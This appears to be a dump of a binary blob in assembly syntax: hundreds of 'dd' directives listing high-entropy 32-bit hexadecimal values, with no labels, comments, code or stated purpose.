dd 0DE02756Dh, 0E0790BC3h, 0EDA6CAh, 5EF3DD3Dh, 415BE814h
dd 26B0C64Ah, 3195034Bh, 0B65780A6h, 0E0EEA790h, 7D001498h
dd 6725C97Ch, 0F902F66h, 10E6D8CAh, 80C3B2C7h, 7332E1EEh
dd 0A1B07EE1h, 38DFEFh, 6869E65h, 3407D8CCh, 2EE516ECh
dd 95DDCB20h, 56650F69h, 0D80FF1FFh, 55C53D80h, 66FA11A3h
dd 68436B36h, 3CD70030h, 0AB4DADC6h, 0C5FEC8D3h, 632B8600h
dd 0EB44AF52h, 3D03195Bh, 0FC2580F7h, 770134DDh, 0A953C08Ah
dd 0E70E06Dh, 0B8DF0FD5h, 48009E27h, 0BF7AD991h, 0AE12C00h
dd 80AFA42Ah, 0F0991D1Ch, 1880BF75h, 77E9ED5Eh, 961DFA01h
dd 3D8E82DDh, 0F639987Fh, 0CD30049h, 0A2AFC79Fh, 18C36736h
dd 0A033417Ah, 752BF8Bh, 3FE69D64h, 752F802Eh, 3203F7C8h
dd 0DDF91DF4h, 3E5800AAh, 0F5BF77DEh, 2F0061A4h, 0ADDCAFEFh
dd 0FA98A6h, 65DF4C21h, 5BF0AB3Eh, 0D900DA75h, 0CB4BAE5Fh
dd 3E2D7CDh, 17807245h, 39B091C8h, 0FE01FBD0h, 88E433CFh
dd 69869A5Dh, 0C0F2D52Dh, 8020C1E7h, 1BC48BB0h, 0CE37312h
dd 0BED9DC45h, 27002E18h, 0A93C9728h, 0E4141Ch, 0D0681F5Fh
dd 7BDBEDC3h, 0A510761Dh, 0F145400Ch, 857D2A3Dh, 0E5900C90h
dd 9D18E3B2h, 48F4EC00h, 0E6C0B6D9h, 18D70130h, 5E6AAACFh
dd 9D8CD8D1h, 0AFC8D009h, 80288F49h, 68077254h, 0C73A002Ah
dd 9F3817FCh, 0D37A4A43h, 0CE0516E6h, 0CF211AAAh, 0F7C9042Bh
dd 0C0AB3A07h, 0F68AB949h, 0E3E62000h, 0B2CF12E2h, 0EBFB004Bh
dd 0A025F792h, 40181A83h, 0F296F14h, 0F91088E3h, 889F9188h
dd 1B896EE4h, 0C203A08h, 513D60ECh, 61808214h, 0BA4FE901h
dd 0DA44FF46h, 0D8F1AA43h, 94984h, 0D92BE61Ah, 0BBC796ACh
dd 0B3F6CE00h, 6D7EF15h, 340F0075h, 0A253DAF1h, 6A3D3372h
dd 0D4DD8032h, 68284A2Dh, 83090FC1h, 99C237F7h, 80A1B57Ch
dd 0E8DB4BB6h, 5C07E8E2h, 0C7F38C28h, 134940Ch, 0B92B7B1Dh
dd 20DA3BF0h, 9300A385h, 5D9C0F03h, 7181E8AAh, 0D34000A8h
dd 179D139Ah, 0E4E77001h, 42061467h, 0F33F2D63h, 0C5843841h
dd 9CFBA980h, 46B57003h, 1F003A7Bh, 9E785428h, 0EA6C7Fh
dd 8D28637h, 82FE3196h, 83D9C800h, 99177D2Eh, 0ED5518B5h
dd 0CCE9C01Bh, 0D7635707h, 2D10F3EEh, 4711D8h, 4030076Eh
dd 58C23F1Fh, 0CE316400h, 364398B0h, 0F84FE229h, 1BF00A2h
dd 0DF349D14h, 0A9C0EFB5h, 19CED8DBh, 0FF953C1Bh, 55536700h
dd 0F28D65E8h, 34FECDFAh, 27848C00h, 0C4526F20h, 1FBA0067h
dd 0D862DF2Bh, 0E8004621h, 0B69F063Fh, 0FC2A14h, 0CB52D110h
dd 82AB3DA1h, 7A67B40Fh, 0FD06E07Ch, 0C0DDE1h, 7D116DA2h
dd 0DEDFD22Ah, 37F64A00h, 0D4EE4836h, 52E100DCh, 70537F8Ch
dd 1D0FB4A8h, 0E7E9BCA0h, 84F1D359h, 0F07F5F4Bh, 5300A6F6h
dd 0AA366B5Ch, 1C23EB4Ah, 8B9407h, 7E30BA26h, 8505AE0Bh
dd 2595BCB3h, 32CDA800h, 0AB6E15h, 0E8F084Fh, 0D4B1E1A7h
dd 0CC34930Ch, 6EE2C4Bh, 3BAA0BD6h, 5B006C4Ch, 7664962Dh
dd 0E64AB88Dh, 6FDA3A69h, 0CE047D80h, 0E2D02772h, 15AEAC13h
dd 2A0E7C07h, 0E73B4780h, 0D8B893h, 84733482h, 0B7EF51FBh
dd 0CB0715E6h, 83B6BFDEh, 854B6B10h, 92410027h, 0DBEF5433h
dd 0CA011588h, 3E22E701h, 2CF8C04Bh, 5FEA1DB0h, 107983BBh
dd 0D2D0C6F0h, 0CC00BD41h, 0EB9BB3F4h, 90D1E27h, 0BF305F9Dh
dd 0F687BD00h, 0DB0F480Eh, 40ADE210h, 916C1974h, 0D9FB0069h
dd 0CD2881D0h, 140166C5h, 419B5867h, 0ECC82E6Dh, 290C0013h
dd 5A728FCFh, 3100988Bh, 1DE571A1h, 0E6CEE06h, 0C1FCE30h
dd 29B04420h, 2A005F92h, 77871D31h, 7140407h, 5E52A8DBh
dd 4A78A01Fh, 0E6074BEAh, 6DADA094h, 5CC09144h, 11557D2h
dd 79132C8Eh, 0E4307FB5h, 6A77F8DCh, 854CEE00h, 0A2F90F96h
dd 6FA2681h, 0B22C0046h, 0C744C6BBh, 58257E09h, 88B800A6h
dd 9820BA21h, 5DF90910h, 0A0C0D9h, 788F64BDh, 3E857312h
dd 0AEC0C41Ch, 33C6B5D2h, 7D89005h, 709BEECDh, 948150D9h
dd 92007CA8h, 0CAE43452h, 65C69Fh, 0C52EA30Ch, 0AB40A9E5h
dd 9601DE00h, 0D9080B06h, 7C430753h, 1004BB85h, 0A5E012AAh
dd 4F3D9001h, 1739CBB2h, 0A0B4F4h, 0FF9C74ABh, 4919AE24h
dd 5258FA1Eh, 0D45AF340h, 134E5332h, 0CC8043h, 7C8DF9F0h
dd 0FB001516h, 616872A6h, 0F4B53C6h, 75B6DD44h, 0D01BAD7h
dd 73CDF8CCh, 0F2AB1BD4h, 0F2C39B1h, 0ED5C1780h, 0DB3F77D2h
dd 911E5D13h, 2079AC00h, 552E5Ah, 18ABB9C8h, 0FC05C219h
dd 753A6D00h, 93DE3B17h, 22CB0A2h, 0E34CDB21h, 0A6E0D1F4h
dd 62260811h, 0A803C80h, 332760A0h, 9E7700F4h, 98D3B683h
dd 0D200794Dh, 0A55C4504h, 0F39F74h, 0EE2402B7h, 0C8F39C6h
dd 0E19B0707h, 0B990188Eh, 0C320ACh, 0F56E3C80h, 0DAC1E8CEh
dd 8E87EA3Bh, 40CC7407h, 3D7A7898h, 0DBE20055h, 252B0D84h
dd 0C8FDE7F2h, 581285DCh, 0F400354Ah, 0C6C49C2Ah, 0E8824E3Eh
dd 28950BF5h, 641C021Fh, 70F94074h, 81030059h, 6220B69Dh
dd 8D00A0CAh, 0B4F3D0B5h, 3A8CB16h, 0CCD2B256h, 0B1DA1377h
dd 0DA9BA43h, 0EC33E8B5h, 0BCE3FB00h, 61A71B92h, 571E3FEEh
dd 25388800h, 0ECC8C521h, 63DEEA00h, 7026516Eh, 9C6F005Ah
dd 4466F682h, 0C4989BD4h, 6E14FB1Eh, 1487A8CFh, 189A30CCh
dd 2E04FF21h, 364CEFCh, 75824C44h, 9E717480h, 0E4012CE6h
dd 6F115A3Bh, 0ACD52164h, 4A5FA8C3h, 0DBBA00FDh, 478E3782h
dd 97001585h, 0D6C69272h, 83D441h, 5C2BFE18h, 0A8FAA389h
dd 89FA203h, 808D219Eh, 7BAE90h, 80F9CB3Dh, 99FD186Dh
dd 0D178A501h, 0E04C0E76h, 5DF5C8h, 95BEC3C0h, 0B53C8541h
dd 0E71E4012h, 0A465EF07h, 8B7E93E0h, 0C0556077h, 0CE925E70h
dd 44E1BC00h, 0BA360FCCh, 17272449h, 2FAF01B5h, 70E8434Bh
dd 4A132434h, 0BE145CCEh, 1EA901A4h, 65937F21h, 2378F4h
dd 0D687A2E9h, 0E315EFEEh, 0DE01F26h, 5F284000h, 49854B2h
dd 0B770E55Ah, 0E9B09099h, 4900AD5Eh, 23D64B0Ch, 0F6F218h
dd 0D54388Ah, 34E56C67h, 7C41C800h, 2861FAE8h, 80DE0F0Bh
dd 0A2602B03h, 0C2164BE7h, 0C6F3602h, 78E4D90h, 2F8862C9h
dd 67C8029h, 11CAD18h, 0FAF5200Ah, 30B1D136h, 0F77A274Ch
dd 3870882Eh, 0F6A51501h, 48805DCEh, 0D5FE5502h, 4B00502Dh
dd 0C79254BDh, 7B90DAEh, 7D30B177h, 66830041h, 0A7005B6Dh
dd 72924D38h, 128A5D97h, 0C606E0h, 3AC4A300h, 54B09511h
dd 395A0238h, 0BE43AC9Bh, 2E37A40Bh, 0B72C6084h, 0BB1286h
dd 872634AFh, 7390F98Bh, 0AE0CF500h, 0F29C0BEFh, 10BC0036h
dd 0F49B16A7h, 0EA0073EBh, 32D2AA6Eh, 4A88A90Eh, 1D780065h
dd 397491F2h, 6FCA4F1Ch, 0CFDDB5C0h, 0F1217Ch, 28789995h
dd 0BCE97BF6h, 0EB97A600h, 0C5C306DFh, 0D7E60041h, 1441EA4h
dd 340A228Bh, 908FC2CDh, 0B2E79E3Ah, 4E981458h, 2CC700F0h
dd 92131ECh, 0DE72BDF7h, 61A5B400h, 4E7CE24Dh, 0CF660079h
dd 218D9CCBh, 4C5C93E0h, 807839A2h, 75375B7Ch, 0DB0B9Ah
dd 0DC023F7Fh, 0DDB8566Ah, 73F0960Fh, 7771E004h, 0F8DF7C4h
dd 90AE8ED8h, 0C8CD5920h, 43130455h, 3007EE9Ah, 5D90054Ah
dd 0F34CF6Dh, 784EB39Ch, 0E10B1C82h, 79F077E3h, 3D005AD6h
dd 0E7BB5C1Dh, 938CD7Ch, 0D56D7E0Ch, 76683010h, 0EF1A7000h
dd 0F48A6A59h, 64981Bh, 0EAB7C0E0h, 0FBDBF362h, 6BC69000h
dd 48549CE2h, 137000BCh, 76C07986h, 0C77A402Fh, 320B4C91h
dd 38500359h, 3AD1A007h, 0CD150006h, 0C41C0B3Fh, 3000C40h
dd 270191C3h, 77A9CDFh, 0BE46D826h, 992EA010h, 8E00CECBh
dd 0FC0E2B8Ah, 0C9272Ch, 5F8FE958h, 0E495D247h, 70E09A01h
dd 0ABCEB30Ch, 531D20h, 0D19E1B33h, 0E1497FEEh, 2120CA01h
dd 68B80506h, 25A04ACCh, 7483D258h, 0F178304Eh, 0F36D990Dh
dd 4AF809C7h, 6E7BEEh, 76429F12h, 0CF4C852Ch, 0B351C00h
dd 919AB7F5h, 53F0188Eh, 38CE5186h, 21E69851h, 2067D7FCh
dd 0CB80CF18h, 37283685h, 0C0702C5Dh, 0EEEFF9A2h, 2BB2A00Ah
dd 9A010C58h, 7D998E92h, 0B5F9908Bh, 5F80F48Fh, 0DAA92C22h
dd 0C2FF1807h, 0AB34A62Eh, 1C1D9CB0h, 4ACF6Ch, 0AEC91FBCh
dd 21000D87h, 14EF07A1h, 3032937Bh, 1AF1F269h, 0E103E45Eh
dd 96B8A8Ch, 0C226C05Ah, 0B2F14DAh, 5D37944Bh, 28311042h
dd 0A2009B70h, 77DDADCh, 2479F65h, 0DD93F63Eh, 0A49325EFh
dd 0E82D0AE0h, 5B8BE02Eh, 4CB69501h, 0C7E410EBh, 9A2B3EAFh
dd 30F098D4h, 7C391C7Ah, 6300AD52h, 0F12AC99Fh, 2D990EFh
dd 4E326128h, 20408F07h, 180098ABh, 0C0A08205h, 38B6420h
dd 0A1C3A840h, 11001D58h, 4796A40Ch, 609CEDCDh, 4AA1F171h
dd 7660F8B7h, 0C1BF3711h, 137C9Eh, 9B3F295Ch, 6DC08819h
dd 0D1D7A1C0h, 13BD4Ch, 72D05C2Fh, 44E2077Eh, 0FB68AF09h
dd 473D01ACh, 1181C9FAh, 50A26423h, 2BC400BDh, 0E5ED00A1h
dd 0BB906651h, 0CE0FE123h, 0A3FA4D05h, 11705B43h, 22A06028h
dd 0DBD8005Ah, 283A42BCh, 5001E9Fh, 633E7EC2h, 225DDEh
dd 0D53C865Ch, 0B192767Fh, 0CE8830F5h, 5430B701h, 0B2529E04h
dd 1E84FBE8h, 408F1BA7h, 0E90EA8E5h, 7500958Ah, 41C9E7EFh
dd 0C6D8E8h, 0BDA2541Bh, 0C2394B20h, 8A771600h, 57D41893h
dd 51E40A14h, 0FDF848Fh, 80BF477Ah, 0DC564B6Eh, 5300482Dh
dd 0D0145806h, 3C4C11FAh, 8500AFD2h, 0AB696233h, 0F800E00Eh
dd 6997B0Ch, 1E734580h, 804FA296h, 0D58323ADh, 3C00F77Dh
dd 7F0DF3DAh, 464DE5Ah, 0E0BE5B81h, 45118353h, 0AEC35CC0h
dd 0C1EE6800h, 0F3283E4Fh, 47D90169h, 1CE81D40h, 0A99FF472h
dd 1419E91Eh, 699801C1h, 3F700CAAh, 0B5F00BDh, 94E38743h
dd 0FA003B16h, 5649F668h, 3EAE78h, 0C9F9AC46h, 3FADF385h
dd 5250071Ch, 759A8194h, 0FD60607h, 0C5007DE4h, 2CB2F2h
dd 0EB9D51D2h, 587608B5h, 80F8373Eh, 5B75DC98h, 0AD3A6Ch
dd 0DD11D0C9h, 598E64FAh, 77D97C00h, 0FCD57861h, 0DE5D16A8h
dd 5298B0DBh, 0D02A2C03h, 0E8D90CCBh, 1F5A1659h, 0E449357Ch
dd 52770734h, 0AD92C047h, 0AE00B643h, 0CE97E01Bh, 0FF9A507h
dd 0DDC8BFF2h, 0EBA2F00h
dd 0CD17CAF8h, 60017EEh, 0C8B3834h, 6A580F2Ch, 0A1201F41h
dd 335CA0B0h, 0D59AE21Eh, 0F46CBFC0h, 3D42F0A5h, 0AF8181D0h
dd 0A295C4E5h, 0E64DFCE0h, 0E4BE220Ch, 1302E2h, 0B5967023h
dd 0D5F61149h, 6B283Dh, 6747C92Dh, 9F251FEh, 0DBD75315h
dd 0BE406E0Fh, 0CD41CED6h, 66DAB212h, 0F551A400h, 8C196Ah
dd 0A47C45DDh, 0C7DC313Ah, 394A0400h, 9BA877EBh, 1F6C00C6h
dd 4C50E566h, 1200EF45h, 9125F35Ah, 325185h, 0BE56C070h
dd 160503C6h, 0D967591Fh, 0DAA72680h, 3DB46D8Eh, 40801E25h
dd 54BFE6FAh, 0E80AC3BDh, 88F0610Ch, 97E7300h, 0C0596B6Eh
dd 0EC10ED10h, 923974C0h, 2CBF13D7h, 767D0040h, 87E95Bh
dd 0F4FF63A5h, 98058988h, 6FD4D007h, 6BC4659Bh, 0C7EBBC0h
dd 2AEA0114h, 0B7B4799Eh, 21F840B0h, 830019CAh, 0E861D35Ch
dd 0C01B898Fh, 4A304D10h, 0E90E15E3h, 2C1F93EBh, 3A9D7869h
dd 7F80C5BCh, 1C4026A2h, 6071652h, 814F25A7h, 40DBA8D2h
dd 25E7BACh, 1BD1CFA1h, 0A840900Ch, 5D0EECCCh, 0A06B7793h
dd 0A06854BEh, 0E4E200E9h, 8DCA5CCFh, 961372FFh, 745F9789h
dd 0E63C1080h, 4C2D2421h, 74E4DDh, 382C19CEh, 70A94ED3h
dd 1A809D60h, 0F2EA4h, 0AFCE68EDh, 1DFFD519h, 14E56A00h
dd 1B8E66D1h, 9DF30051h, 8F49160Eh, 0C307481Ch, 76B96E7Fh
dd 24C08EB5h, 1A6A71h, 0F735CE31h, 8DC155Bh, 7014520Fh
dd 203258D4h, 2ABE0E3h, 0E260CB5Dh, 0D06888F2h, 71275E7h
dd 0E500BD7Fh, 50B69E9Fh, 737E00BEh, 0FB5DE027h, 0F003098Eh
dd 563C7B08h, 484FD0C4h, 0A6B700E6h, 8B9E0517h, 0DA0E1D74h
dd 1260F139h, 32BF7C00h, 39DE16C3h, 8036F3E0h, 0C5E2D8F8h
dd 17489B00h, 0BD3F75D5h, 0A9F630C6h, 221C5120h, 0D3A44E0h
dd 0DB57806Dh, 37DD1AF1h, 0BF76768Ah, 2AB02640h, 702F45Ch
dd 4FB4E775h, 1B5A8A70h, 0B548C1AAh, 70F81133h, 9B0231F2h
dd 0A8EFB89Eh, 0E8BC603Fh, 1030F78h, 0AF646107h, 8E6887DAh
dd 472D5E60h, 1248DD27h, 0AB320030h, 0DB8276C6h, 0C9E023h
dd 0DD69AF14h, 1999116Dh, 0D0674924h, 0C73838A8h, 0D84D21h
dd 0F5E92034h, 0B0E71028h, 63030034h, 1DB4407Fh, 0FFE01BC9h
dd 8D463800h, 347A54FDh, 777E0064h, 0A87C61AAh, 0A112D020h
dd 0C40180C3h, 6BC286A5h, 3F5569C0h, 7DF53271h, 224FC1Ch
dd 2F52B9D2h, 4077102Ah, 88553Bh, 2ED0197Dh, 5197F59Ah
dd 66261700h, 0DA4718E3h, 1F961D88h, 0BE820022h, 0DC63EB62h
dd 606EBF07h, 7960BD47h, 72337431h, 1ED7930h, 0DFAE7105h
dd 21EA93A7h, 0FB396057h, 67FE3500h, 7E22A1A9h, 1675C1h
dd 0E0175FCBh, 0A31A62C9h, 2DE7DA2Eh, 1229823Ch, 0D0AEDB2Fh
dd 0CBAF3CB8h, 0BCC1D106h, 0C048688Dh, 3DCC2CA5h, 0A0FE5B0Bh
dd 24EA8224h, 0E3E737E1h, 1C8A8378h, 0C71298C0h, 0E22C6878h
dd 0CB000624h, 0F5F1E10h, 78510048h, 19200866h, 4036D34h
dd 0F19CF5C6h, 3CBAC015h, 1B7902B3h, 7FD323CBh, 1D6B8C40h
dd 0B28B0500h, 2824E527h, 5E130346h, 5A2637DCh, 0A8087ABh
dd 2B014C75h, 6BE0E110h, 0FCCD78Ah, 123B005Dh, 70920662h
dd 0E400C519h, 0D0AE63D8h, 603FE97Eh, 69FBD0B1h, 1C050525h
dd 3DE8676Ch, 7330C01h, 0F880FAE5h, 0D4D14F63h, 0A4012C61h
dd 74A16421h, 90709819h, 0FB2500C7h, 128FC98Ch, 0CB07EE16h
dd 6D8BE6AFh, 24CF2AC0h, 0D9E0FF4Eh, 0BEC10796h, 0C01AA0B6h
dd 0AE3A917Dh, 0C70059B0h, 0F4E2DF55h, 0EAB72431h, 75FE0756h
dd 2782F1DCh, 0D55E03B1h, 0FDE93FB8h, 0F85A8700h, 0C1F726E0h
dd 64BC00E7h, 0B4E3BA5Bh, 1E00A452h, 84DEFF82h, 376CD8Eh
dd 0D0F7B538h, 0CEC87A10h, 74004CECh, 23427F1Ah, 2E4EEFE6h
dd 187C4879h, 55C3F871h, 0C7324B16h, 6DED2441h, 1041AE25h
dd 9050F950h, 873DDh, 78316317h, 534E30B5h, 0BDD3A83Ah
dd 29FA30DEh, 0A9AD7DFBh, 803047B0h, 60E848A2h, 43E2EA80h
dd 730D6C65h, 42E30F81h, 961308Dh, 8CB06E39h, 887C6F87h
dd 804C649Dh, 99C09379h, 3A0501E1h, 14ADDAEFh, 0D4B4481h
dd 0FF4864h, 333734A2h, 0C20F92A0h, 50E95500h, 8B12C99Ah
dd 0E4390049h, 1B68C890h, 0F9CEB345h, 70B2C0D5h, 3BA85D4Bh
dd 0F8004CE4h, 1BECE815h, 4A18FBDFh, 5AC9DCA2h, 20D00A9h
dd 0FEBDF214h, 4C03B15Dh, 3DAE651Dh, 0C9E8E1BAh, 0F550588Ah
dd 3F17808Ch, 0DCAA19E2h, 6656A307h, 0E508D51h, 0C3DB76Ch
dd 174C40D6h, 203C25C9h, 834B807Eh, 628B02AAh, 18CF266Dh
dd 0E6EE00D0h, 0F4918E08h, 0F13C8774h, 582E0FBCh, 1C1BA324h
dd 9118079Dh, 408D1F3Fh, 30F189F7h, 818FB53Eh, 0B62CCA71h
dd 41BDBBF8h, 2767E186h, 303010BAh, 3955419Eh, 49C0289Bh
dd 0E8CF0334h, 0E09985E4h, 3582580Dh, 3940089Ch, 33507186h
dd 9930BD83h, 111B41EFh, 97518485h, 1BC3CA74h, 9AF88919h
dd 60C535F0h, 72040F4h, 2E00FE3Ch, 79CE256Ah, 3BB6C2Ch
dd 0D3866029h, 3DF34E1Ah, 1BE27806h, 3059EC4Dh, 0B0E91424h
dd 750A9578h, 0E189456Fh, 7D1BC100h, 7760A0h, 126CA318h
dd 92B88A39h, 6619F718h, 0DF9D8EC9h, 0AE6170B0h, 7F30284Fh
dd 52CE211Bh, 0BE6F00E5h, 0CFDF9399h, 8C7F027Ah, 12BD9A1Ch
dd 30C9BBD8h, 0BA99CBEBh, 275DF00h, 72E44D3Dh, 0E6F03300h
dd 1F016378h, 0AD4C3327h, 0C0038688h, 0A4330897h, 0A1B0E28Bh
dd 82308190h, 5CA65180h, 31A2DDA3h, 0C26336EEh, 8525A018h
dd 12178040h, 2855222Ah, 312C937Eh, 65211624h, 0D04E8EEh
dd 0BCE7CC3Eh, 848939ADh, 533FA1B8h, 20860092h, 0AB3480DAh
dd 67921F00h, 0DE299B97h, 1162345Ah, 2C9C4514h, 62F45E9Dh
dd 5275865Ch, 8CC32A10h, 6D952B00h, 0AAB155B3h, 9FCEEEAh
dd 0E8E2129Dh, 49353020h, 42792FD9h, 7F301892h, 0A79649E7h
dd 53161F27h, 4EA5474Ah, 0AE6D015Dh, 859443F1h, 1219280Ah
dd 1BC1E892h, 99999A4Ah, 10E1E180h, 7C26C167h, 0BA0D01DDh
dd 34C62B10h, 9815E0EDh, 31BB5807h, 9128E79Ah, 3241583h
dd 14F902A8h, 4EB1E177h, 0F8DD0044h, 0CD4F2853h, 0A900FBAEh
dd 1A207AB3h, 243A7157h, 803488B5h, 9234890Dh, 0E8EAA2EEh
dd 0DCA48A7Ch, 0EC409DE6h, 161B1482h, 152240EDh, 85F0E538h
dd 2E75C6A7h, 0AF57AC81h, 0FCAEC840h, 64C80034h, 0D576C211h
dd 0ACA4B72Ah, 5F8AC924h, 0FC9D3E0Fh, 0F7188618h, 9AAD28F0h
dd 0E6AE019Ch, 8ACA113Dh, 85F100BDh, 502F72C2h, 0A8E7181Fh
dd 88969FF8h, 655C3AEh, 73D19010h, 22079704h, 0EC3CC9E6h
dd 0CE064538h, 9F67E001h, 84303069h, 3FCEDE9h, 0DCB9CB24h
dd 683E2E00h, 12056BCEh, 4593164Bh, 1D18C3D4h, 8B81E38h
dd 183C1C19h, 0D0999C7Fh, 0F64909EFh, 3CB8F211h, 5F00D932h
dd 598153B4h, 18C66h, 0DE3FC493h, 5851D827h, 713B8735h
dd 0C04CD854h, 327A98D7h, 0C71C0486h, 894B8BD1h, 0C0502288h
dd 0E0F1B74Fh, 25060075h, 0F926B51Dh, 4C0E0986h, 0F45535D1h
dd 94071AB4h, 12E84C61h, 45AB8FAAh, 0C008AE78h, 6C2A518h
dd 90F721C9h, 88E47F6Ch, 680026C9h, 4A8B61E2h, 3BF4BA6Bh
dd 174124A3h, 3543A064h, 0A804362Fh, 39D81FAFh, 94C6951Eh
dd 0E548CD00h, 19B1EB6h, 0D555371Eh, 4C10E740h, 2427A699h
dd 885C1D46h, 358CE192h, 0A641C1h, 0AFED7B98h, 7ED9AB62h
dd 571C9101h, 2E29054Ah
dd 24151423h, 21009811h, 89F5966Ah, 3900E22Fh, 0B8B1F4BDh
dd 0D0B3C58Ch, 0A9C0E460h, 0F1BD7B88h, 0B90A637Bh, 0C4A3D12Bh
dd 0E9712228h, 4F64D212h, 0E7F4B030h, 5579140Eh, 0A91F587Fh
dd 743141FEh, 0C0357D01h, 0BC071B11h, 0F13C7E07h, 643EEAC2h
dd 8F8A40DCh, 0E8445C92h, 0D7FA0097h, 0E9E17E2Ah, 5002017h
dd 0C7C64964h, 2C07A8DFh, 646427B4h, 8B1409Eh, 9155B01Eh
dd 0E48408ACh, 0E9D0358Ch, 0E9890116h, 21F620B8h, 12D055AAh
dd 0A38804F8h, 0C2B091F9h, 7218h, 0BF3DC3E2h, 68E7FD08h
dd 915C6063h, 7C380099h, 46C18C92h, 0C09004AEh, 91D2DC5Eh
dd 10851768h, 0BD7E197h, 30968D53h, 0F2AE5420h, 71C01722h
dd 79C68EF1h, 18C900A0h, 0B6834854h, 7303CFA8h, 0AA594769h
dd 0E116CB5Fh, 4C32BCB4h, 402C802Eh, 0CC8B29DBh, 0C1690101h
dd 174E50ADh, 898D8C4Ch, 81E19F85h, 11105694h, 0AE0CE59Bh
dd 12B9802Ah, 3E57DA48h, 76650045h, 0FB0B9222h, 527C021Bh
dd 0AC13907Dh, 0D900A04Eh, 939D3649h, 770BCBB4h, 1F0113Ch
dd 3D1922ECh, 0E100C6A9h, 7DB6EA07h, 60242DC9h, 9E888812h
dd 1407A696h, 741AA094h, 78B0B039h, 98E6ECC2h, 5DBE8B00h
dd 0EB2D2838h, 97DB1240h, 0CFC848DAh, 85E3C8Ch, 2509890h
dd 1178AD34h, 0CCCE9199h, 98D44D22h, 0C0E845A8h, 0B11C6DEEh
dd 1340E7B4h, 343A46EBh, 13A5F6BCh, 8F91444h, 0AD848E44h
dd 0F540EB29h, 0F6FA76ECh, 806A6C3Eh, 7EFFC3BEh, 120BD39Bh
dd 304478ACh, 541BF130h, 1863901Dh, 7CA0B06Ah, 802DA52h
dd 0AE9E3283h, 44CC647Eh, 95056FCBh, 948FFAA9h, 0E8D274D4h
dd 23331142h, 7DCF00DCh, 39BAC512h, 7CF040h, 59FE9C6Bh
dd 0B61BF8Dh, 746A0313h, 801A3048h, 0D411872Ah, 0E02C451h
dd 0EA5DC1CBh, 3CE84EF6h, 9B001D86h, 74DC40E0h, 5300CDDFh
dd 0E89CBB36h, 58C3FC8Bh, 2F34A48Ah, 324C4059h, 2C114DC6h
dd 0D34F7200h, 0EF169B6Fh, 0A60107C0h, 0F47545CBh, 727CDC27h
dd 0B7332A00h, 0E43C83E7h, 0B0FA0752h, 940768D0h, 0C2EC8825h
dd 0B19DCE00h, 0ACAB5A4Ch, 9AB1C9B0h, 0C9354C10h, 0A89EA8A8h
dd 77311702h, 0E82F759Fh, 0C1CC1398h, 0E8BAF121h, 51BE210Eh
dd 801B24C8h, 332DC169h, 11671B1h, 755B3A27h, 52C6636Ah
dd 384486C4h, 5E92F8B1h, 0B52D7600h, 2FE5AE4h, 0E115B1EAh
dd 0AC89AC8Ch, 4B427494h, 40703F2Eh, 0D87DABE3h, 6EF88100h
dd 598B3E38h, 934C9184h, 1B4046B7h, 6C930843h, 0D3008511h
dd 897FB1BDh, 0BE6145ACh, 0D5491BA0h, 2D24218Ch, 57006E71h
dd 0DD6D3EB9h, 1A64ACh, 0B8C2D912h, 77FD27C9h, 22E65822h
dd 8652994Bh, 374F2164h, 88B4EA10h, 0D8A6C599h, 0C09BF420h
dd 0FFAB9A80h, 0E888BCA8h, 440920CAh, 4893A0B0h, 59223B00h
dd 0EC2560DFh, 0A80D0478h, 48A7694Fh, 3AAC801Ah, 0C8ADD4E7h
dd 0C3452A05h, 8C4859E8h, 5F9F80EDh, 0C981B4E0h, 601EAB00h
dd 4759302h, 34454CBCh, 0A7CEE05Ch, 6686D40h, 8309571Eh
dd 0F4F564AFh, 88382627h, 198B1702h, 3058100Ch, 271C09Fh
dd 0C9DA7298h, 29AEC412h, 6458C490h, 39F41DECh, 769E0Fh
dd 0D453CC85h, 0C4011703h, 30049C9Eh, 91F6C284h, 0F11C4EF8h
dd 6712BB13h, 9C998021h, 8F2C0C2Dh, 661285D4h, 1CC423CEh
dd 10194384h, 0A4394493h, 0DA8A88DEh, 3C682000h, 5793CF59h
dd 0DCF209F8h, 3C405E16h, 5C0032F1h, 0D4090636h, 5DC05A1Bh
dd 191410E6h, 0F184A09Bh, 161CB422h, 0B4C4A303h, 0F14FA4F8h
dd 9CE91BE8h, 8386D18Bh, 2846703Ah, 0AE80760Bh, 605B8E3Eh
dd 0DFFC4220h, 59B600F8h, 476D7F29h, 24A1CB18h, 12AE1093h
dd 0CCC60E8Bh, 0E6DDBD88h, 19DC48B4h, 39E2F984h, 10808B48h
dd 16FE718h, 170D5F03h, 60EB5E0Ch, 0A975F8A7h, 0F6368409h
dd 4D989029h, 1DAF903Ch, 0C4A76070h, 0C00997BBh, 0C5650153h
dd 3FE49A03h, 10E8949Dh, 849F81A9h, 549CBD99h, 1C7E00F4h
dd 6D9BD5E5h, 421F184Eh, 0F944EB32h, 948252B4h, 1C5985h
dd 0F371B9F1h, 431CCB6Eh, 50C19A37h, 0B79E8A3Dh, 0C9215022h
dd 4CB9C43Dh, 22288137h, 1BC212ECh, 15102113h, 831842C4h
dd 0CA457C21h, 0BFCF6E8h, 0B8EF58A7h, 3DE7B420h, 0A0A6BA0Dh
dd 0A4A70400h, 0E477430Ch, 0D9F90084h, 69A07409h, 7B4854CAh
dd 80A0496Ch, 6B84FB01h, 53740148h, 8FD41860h, 0E7F6C0BAh
dd 1A1C1B25h, 3640D71Ch, 49D2A6D6h, 3C483h, 126ED0C1h
dd 181B3B3Ch, 2A50249Ch, 3E0D000Eh, 7AD8B57Eh, 0D727DDFCh
dd 0E6E492BAh, 0AA2800E4h, 0FBC5736Fh, 89072581h, 0F3DB6F0h
dd 3CF215F4h, 419F42Dh, 3D98334Fh, 11234281h, 861FD82Bh
dd 3544C464h, 3EE2DC88h, 1D39A34Dh, 0EE713C81h, 398D8C12h
dd 2B2C4CF0h, 0E9811C08h, 3C66E851h, 12D28420h, 224786FEh
dd 1C7B0DD4h, 0BE9EAE00h, 9C9B42CDh, 3349E04Ch, 0B6017011h
dd 20AACF6h, 0D370BE61h, 61BC4E71h, 0C4C5AC10h, 0C105A626h
dd 70D0A049h, 0EB4E8844h, 0C2B43053h, 0B81C72B2h, 823E6BCCh
dd 76D963EAh, 4585A17h, 1DD859BCh, 487CE3ADh, 3D604134h
dd 48C84CECh, 67E28280h, 30E674h, 772326B7h, 0F22F3FBEh
dd 0DC725D0Ah, 4B1DCCB5h, 9B5EDF81h, 9048EC09h, 893C9411h
dd 9C981DC2h, 5A869299h, 8464408Fh, 0A034FE7Ah, 0C8795F04h
dd 24F4C76Bh, 0E1CD0EBCh, 0B96B1B4h, 3064BA86h, 0FCF1F3FEh
